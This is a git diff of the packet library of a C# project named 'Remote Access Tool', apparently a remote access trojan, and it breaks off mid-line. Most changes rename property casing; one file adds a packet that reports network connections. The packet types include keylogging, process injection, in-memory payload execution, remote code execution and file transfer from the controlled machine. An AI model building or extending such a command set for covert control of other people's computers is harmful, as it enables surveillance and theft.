this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public byte[] desktopPicture { get; set; } public int height { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs index 779f28cd..f19f3f29 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs @@ -13,7 +13,7 @@ public class DeleteFilePacket : IPacket //server public DeleteFilePacket(string path, string name, long fileTicket) : base() { - packetType = PacketType.FM_DELETE_FILE; + PacketType = PacketType.FM_DELETE_FILE; this.path = path; this.name = name; @@ -23,8 +23,8 @@ public DeleteFilePacket(string path, string name, long fileTicket) : base() //client public DeleteFilePacket(string path, string name, bool deleted, string baseIp, string HWID, long fileTicket) : base() { - packetType = PacketType.FM_DELETE_FILE; - this.baseIp = baseIp; + PacketType = PacketType.FM_DELETE_FILE; + this.BaseIp = baseIp; this.HWID = HWID; this.fileTicket = fileTicket; @@ -34,13 +34,13 @@ public DeleteFilePacket(string path, string name, bool deleted, string baseIp, s } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public long fileTicket { get; set; } public string path { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs index d68027c4..2929d22d 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs @@ -14,27 +14,27 @@ public class DiskPacket : IPacket //server public DiskPacket() : base() { - packetType = PacketType.FM_GET_DISK; + PacketType = PacketType.FM_GET_DISK; } //client public DiskPacket(List disks, string baseIp, string HWID) : base() { - packetType = PacketType.FM_GET_DISK; - this.baseIp = baseIp; + PacketType = PacketType.FM_GET_DISK; + this.BaseIp = baseIp; this.HWID = HWID; this.disksList = disks; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List disksList { get;} } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs index 733a0c49..21d7b3e2 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs @@ -13,7 +13,7 @@ public class DownloadFilePacket : IPacket //server public DownloadFilePacket(string path, long fileTicket) : base() { - this.packetType = PacketType.FM_DOWNLOAD_FILE; + this.PacketType = PacketType.FM_DOWNLOAD_FILE; this.fileName = path; this.fileTicket = fileTicket; } @@ -21,8 +21,8 @@ public DownloadFilePacket(string path, long fileTicket) : base() //client public DownloadFilePacket(byte[]file, string fileName, string baseIp, string HWID, long fileTicket) : base() { - this.packetType = PacketType.FM_DOWNLOAD_FILE; - this.baseIp = baseIp; + this.PacketType = PacketType.FM_DOWNLOAD_FILE; + this.BaseIp = baseIp; this.HWID = HWID; this.fileTicket = fileTicket; @@ -31,13 +31,13 @@ public DownloadFilePacket(byte[]file, string fileName, string baseIp, string HWI } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public long fileTicket { get; set; } public string fileName { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs index fddfcb2f..92919a96 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs @@ -14,7 +14,7 @@ public class FileManagerPacket : IPacket //server public FileManagerPacket(string path) : base() { - packetType = PacketType.FM_GET_FILES_AND_DIRS; + PacketType = PacketType.FM_GET_FILES_AND_DIRS; this.path = path; } @@ -22,21 +22,21 @@ public FileManagerPacket(string path) : base() //client public FileManagerPacket(Dictionary> filesAndDirs, string baseIp, string HWID) : base() { - packetType = PacketType.FM_GET_FILES_AND_DIRS; - this.baseIp = baseIp; + PacketType = PacketType.FM_GET_FILES_AND_DIRS; + this.BaseIp = baseIp; this.HWID = HWID; this.filesAndDirs = filesAndDirs; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string path { get; set; } public Dictionary> filesAndDirs { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs index 930325f3..974773ea 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs @@ -12,12 +12,12 @@ public class RenameFilePacket : IPacket { public RenameFilePacket() : base() { - this.packetType = PacketType.FM_RENAME_FILE; + this.PacketType = PacketType.FM_RENAME_FILE; } public RenameFilePacket(string oldName, string oldPath, string newName, string newPath) { - this.packetType = PacketType.FM_RENAME_FILE; + this.PacketType = PacketType.FM_RENAME_FILE; this.oldName = oldName; this.oldPath = oldPath; @@ -27,8 +27,8 @@ public RenameFilePacket(string oldName, string oldPath, string newName, string n public RenameFilePacket(string oldName, string oldPath, string newName, string newPath, string baseIp, string HWID) { - this.packetType = PacketType.FM_RENAME_FILE; - this.baseIp = baseIp; + this.PacketType = PacketType.FM_RENAME_FILE; + this.BaseIp = baseIp; this.HWID = HWID; this.oldName = oldName; @@ -38,13 +38,13 @@ public RenameFilePacket(string oldName, string oldPath, string newName, string n } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string oldName { get; set; } public string oldPath { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs index 37bc02c9..4edb118a 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs @@ -21,28 +21,28 @@ public enum ShortCuts : byte //server public ShortCutFileManagersPacket(ShortCuts shortCuts) : base() { - this.packetType = PacketType.FM_SHORTCUT_PATH; + this.PacketType = PacketType.FM_SHORTCUT_PATH; this.shortCuts = shortCuts; } //client public ShortCutFileManagersPacket(Dictionary> filesAndDirs, string baseIp, string HWID) : base() { - packetType = PacketType.FM_SHORTCUT_PATH; - this.baseIp = baseIp; + PacketType = PacketType.FM_SHORTCUT_PATH; + this.BaseIp = baseIp; this.HWID = HWID; this.filesAndDirs = filesAndDirs; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string path { get; set; } public ShortCuts shortCuts { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs index e0c3f981..57a938cb 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs @@ -12,19 +12,19 @@ public class StartFilePacket : IPacket { public StartFilePacket(string filePath) : base() { - packetType = PacketType.FM_START_FILE; + PacketType = PacketType.FM_START_FILE; this.filePath = filePath; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string filePath { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs index fd650b2a..dbe3a521 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs @@ -13,7 +13,7 @@ public class UploadFilePacket : IPacket //server public UploadFilePacket(string path, byte[] file) : base() { - this.packetType = PacketType.FM_UPLOAD_FILE; + this.PacketType = PacketType.FM_UPLOAD_FILE; this.path = path; this.file = file; } @@ -21,21 +21,21 @@ public UploadFilePacket(string path, byte[] file) : base() //client public UploadFilePacket(string fileName, bool uploaded, string baseIp, string HWID) : base() { - this.packetType = PacketType.FM_UPLOAD_FILE; - this.baseIp = baseIp; + this.PacketType = PacketType.FM_UPLOAD_FILE; + this.BaseIp = baseIp; this.HWID = HWID; this.path = fileName; this.uploaded = uploaded; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string path { get; set; } public bool uploaded { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs index 582a31f7..0be0f4aa 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs @@ -40,13 +40,13 @@ public class InformationPacket : IPacket { public InformationPacket() : base() { - this.packetType = PacketType.MISC_INFORMATION; + this.PacketType = PacketType.MISC_INFORMATION; } public InformationPacket(Dictionary> cpuInformation, string baseIp, string HWID) : base() { - this.packetType = PacketType.MISC_INFORMATION; - this.baseIp = baseIp; + this.PacketType = PacketType.MISC_INFORMATION; + this.BaseIp = baseIp; this.HWID = HWID; this.information = new Information(); this.information.hardwareInformation = new HardwareInformation(); @@ -55,13 +55,13 @@ public InformationPacket(Dictionary> cpuInformation, string } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public Information information { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs index 5d929168..e4dbba65 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs @@ -12,20 +12,20 @@ public class KeylogOfflinePacket : IPacket { public KeylogOfflinePacket(string keyStroke, string baseIp, string HWID) : base() { - this.packetType = PacketType.KEYLOG_OFFLINE; + this.PacketType = PacketType.KEYLOG_OFFLINE; this.keyStroke = keyStroke; - this.baseIp = baseIp; + this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string keyStroke { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs index 58792eb0..ecaf7ff0 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs @@ -12,14 +12,14 @@ public class KeylogPacket : IPacket { public KeylogPacket() : base() { - packetType = PacketType.KEYLOG_ON; + PacketType = PacketType.KEYLOG_ON; } public KeylogPacket(string keyStroke, string baseIp, string HWID) : base() { - packetType = PacketType.KEYLOG_ON; - this.baseIp = baseIp; + PacketType = PacketType.KEYLOG_ON; + this.BaseIp = baseIp; this.HWID = HWID; this.keyStroke = keyStroke; @@ -27,19 +27,19 @@ public KeylogPacket(string keyStroke, string baseIp, string HWID) : base() public KeylogPacket(string baseIp, string HWID) : base() { - packetType = PacketType.KEYLOG_OFF; - this.baseIp = baseIp; + PacketType = PacketType.KEYLOG_OFF; + this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string keyStroke { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs index 2acd086d..e58eddf7 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs @@ -12,18 +12,18 @@ public class MemoryExecutionPacket : IPacket { public MemoryExecutionPacket(PacketType packetType, byte[] payload) : base() { - this.packetType = packetType; + this.PacketType = packetType; this.payload = payload; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public byte[] payload { get; set; } public string managedEntryPoint { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs index ecf0d062..3f9878c3 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs @@ -12,16 +12,16 @@ public class MiscellaneousPacket : IPacket { public MiscellaneousPacket(PacketType miscOption) : base() { - this.packetType = miscOption; + this.PacketType = miscOption; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs new file mode 100644 index 00000000..bb20626a --- /dev/null +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Generic; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace PacketLib.Packet +{ + [Serializable] + public class TCPInformation + { + public string processName { get; set; } + public int PID { get; set; } + public string LocalEndPoint { get; set; } + public string RemoteEndPoint { get; set; } + public TCP_CONNECTION_STATE State { get; set; } + + public enum TCP_CONNECTION_STATE + { + CLOSED = 1, + LISTENING, + SYN_SENT, + SYN_RCVD, + ESTABLISHED, + FIN_WAIT_1, + FIN_WAIT_2, + CLOSE_WAIT, + CLOSING, + LAST_ACK, + TIME_WAIT, + DELETE_TCP + } + } + + [Serializable] + public class NetworkInformationPacket : IPacket + { + public NetworkInformationPacket() : base() + { + this.PacketType = PacketType.MISC_NETWORK_INFORMATION; + } + + public NetworkInformationPacket(List tcpInformationList, string baseIp, string HWID) : base() + { + this.PacketType = PacketType.MISC_NETWORK_INFORMATION; + this.BaseIp = baseIp; + this.HWID = HWID; + this.tcpInformationList = tcpInformationList; + } + + public string HWID { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } + + public List tcpInformationList{ get; set; } + } +} diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs index cfe7c479..46b91226 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs @@ -12,18 +12,18 @@ public class OpenUrlPacket : IPacket { public OpenUrlPacket(string url) : base() { - this.packetType = PacketType.MISC_OPEN_WEBSITE_LINK; + this.PacketType = PacketType.MISC_OPEN_WEBSITE_LINK; this.url = url; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string url { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs index 9afdc95e..cf2bc8e8 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs @@ -12,16 +12,16 @@ public class PowerPacket : IPacket { public PowerPacket(PacketType powerOption) : base() { - this.packetType = powerOption; + this.PacketType = powerOption; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs index 91365ded..0b4b644d 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs @@ -12,23 +12,23 @@ public class RemoteChatPacket : IPacket { public RemoteChatPacket(PacketType packetType) : base() { - this.packetType = packetType; + this.PacketType = packetType; } public RemoteChatPacket(string msg) : base() { - this.packetType = PacketType.CHAT_ON; + this.PacketType = PacketType.CHAT_ON; this.msg = msg; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string msg { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs index eef413c8..1f059797 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs @@ -13,7 +13,7 @@ public class RemoteCodeExecution : IPacket { public RemoteCodeExecution(PacketType packetType, string compilerOptions, string code, List references) : base() { - this.packetType = packetType; + this.PacketType = packetType; this.compilerOptions = compilerOptions; this.code = code; @@ -21,13 +21,13 @@ public RemoteCodeExecution(PacketType packetType, string compilerOptions, string } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string compilerOptions { get; set; } public string code { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs index 882d5c93..5a6f027f 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs @@ -12,19 +12,19 @@ public class ScreenRotationPacket : IPacket { public ScreenRotationPacket(string degrees) : base() { - this.packetType = PacketType.MISC_SCREEN_ROTATION; + this.PacketType = PacketType.MISC_SCREEN_ROTATION; this.degrees = degrees; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string degrees { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs index 2c517f9d..51f701d1 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs @@ -12,20 +12,20 @@ public class WallPaperPacket : IPacket { public WallPaperPacket(byte[] wallpaper, string ext) : base() { - this.packetType = PacketType.MISC_SET_WALLPAPER; + this.PacketType = PacketType.MISC_SET_WALLPAPER; this.wallpaper = wallpaper; this.ext = ext; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public byte[] wallpaper { get; set; } public string ext { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs b/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs index 7ba8dc06..f52c8ba5 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs @@ -58,6 +58,7 @@ public enum PacketType : byte MISC_AUDIO_DOWN = 31, MISC_SET_WALLPAPER = 32, MISC_INFORMATION = 43, + MISC_NETWORK_INFORMATION = 76, MISC_SCREENLOCKER_ON = 44, MISC_SCREENLOCKER_OFF = 45, MISC_HIDE_DESKTOP_ICONS = 49, diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs index 51d920f1..8bde54af 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs @@ -19,7 +19,7 @@ public enum INJECTION_METHODS : byte //server public ProcessInjectionPacket(byte[] payload, INJECTION_METHODS injectionMethod, int processId) : base() { - this.packetType = PacketType.PM_INJECT_PROCESS; + this.PacketType = PacketType.PM_INJECT_PROCESS; this.payload = payload; this.injectionMethod = injectionMethod; @@ -27,13 +27,13 @@ public ProcessInjectionPacket(byte[] payload, INJECTION_METHODS injectionMethod, } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public INJECTION_METHODS injectionMethod { get; set; } public byte[] payload { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs index 480e3fef..cca2d8d5 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs @@ -15,7 +15,7 @@ public class ProcessKillerPacket : IPacket public ProcessKillerPacket(int processId, string processName, int rowIndex) : base() { - this.packetType = PacketType.PM_KILL_PROCESS; + this.PacketType = PacketType.PM_KILL_PROCESS; this.processId = processId; this.processName = processName; @@ -26,8 +26,8 @@ public ProcessKillerPacket(int processId, string processName, int rowIndex) : ba public ProcessKillerPacket(bool killed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base() { - this.packetType = PacketType.PM_KILL_PROCESS; - this.baseIp = baseIp; + this.PacketType = PacketType.PM_KILL_PROCESS; + this.BaseIp = baseIp; this.HWID = HWID; this.killed = killed; @@ -37,13 +37,13 @@ public ProcessKillerPacket(bool killed, int processId, string processName, int r } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public int rowIndex { get; set; } public string processName { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs b/Remote 